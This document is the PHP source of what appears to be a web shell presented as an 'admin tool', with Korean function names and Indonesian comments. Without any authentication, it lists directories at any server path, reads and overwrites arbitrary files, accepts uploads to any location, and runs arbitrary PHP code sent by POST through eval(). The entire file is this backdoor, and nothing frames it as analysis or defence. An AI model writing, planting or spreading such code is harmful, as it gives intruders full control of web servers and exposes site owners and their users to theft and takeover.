관리-도구
$부분) {
if ($부분 === '' && $인덱스 === 0) {
$결과[] = '
/';
continue;
}
if ($부분 === '') continue;
$결과[] = '
' . $부분 . '/';
}
return implode('', $결과);
}
function 내용보기($경로) {
$목록 = @scandir($경로) ?: [];
$폴더 = [];
$파일들 = [];
foreach ($목록 as $항목) {
if ($항목 === '.' || $항목 === '..') continue;
$전체경로 = $경로 . '/' . $항목;
// Cek apakah direktori atau file
if (@is_dir($전체경로)) {
$폴더[] = '
폴더: ' . $항목 . '';
} else {
$파일크기 = @filesize($전체경로);
$크기 = ($파일크기 === false || $파일크기 === 0) ? '0 B' : 파일크기($파일크기); // Tangani 0KB file
$파일들[] = '
파일: ' . $항목 . ' (' . $크기 . ')';
}
}
echo '
';
echo implode('', $폴더);
if (!empty($폴더) && !empty($파일들)) echo '
';
echo implode('', $파일들);
echo '
';
}
function 파일편집($파일경로) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['파일내용'])) {
$내용 = $_POST['파일내용'];
if (@file_put_contents($파일경로, $내용) !== false) {
echo "파일 저장 성공.";
} else {
echo "파일 저장 실패.";
}
}
$내용 = @file_get_contents($파일경로) ?: '';
echo '
';
}
function 파일업로드($경로, $파일) {
$목적지 = $경로 . '/' . basename($파일['name']);
if (@move_uploaded_file($파일['tmp_name'], $목적지)) {
echo "파일 업로드 성공: " . htmlspecialchars($파일['name']);
} else {
echo "파일 업로드 실패.";
}
}
function PHP실행($코드) {
try {
ob_start();
eval($코드);
$output = ob_get_clean();
echo '
' . htmlspecialchars($output) . '
';
} catch (Throwable $e) {
echo "오류: " . htmlspecialchars($e->getMessage());
}
}
$경로 = $_GET['경로'] ?? getcwd();
if (isset($_GET['작업']) && $_GET['작업'] === '편집' && isset($_GET['파일'])) {
$파일 = $_GET['파일'];
$파일경로 = $경로 . '/' . $파일;
if (@file_exists($파일경로)) {
echo "
편집 파일: $파일
";
파일편집($파일경로);
} else {
echo "파일이 존재하지 않습니다.";
}
} else {
echo "
경로: " . htmlspecialchars($경로) . "
";
echo "
" . 탐색($경로) . "
";
echo "
폴더 내용:
";
내용보기($경로);
echo '
';
echo '
파일 업로드:
';
echo '
';
echo '
PHP 코드 실행:
';
echo '
';
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['파일'])) {
파일업로드($경로, $_FILES['파일']);
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['PHP코드'])) {
echo '
결과:
';
PHP실행($_POST['PHP코드']);
}
?>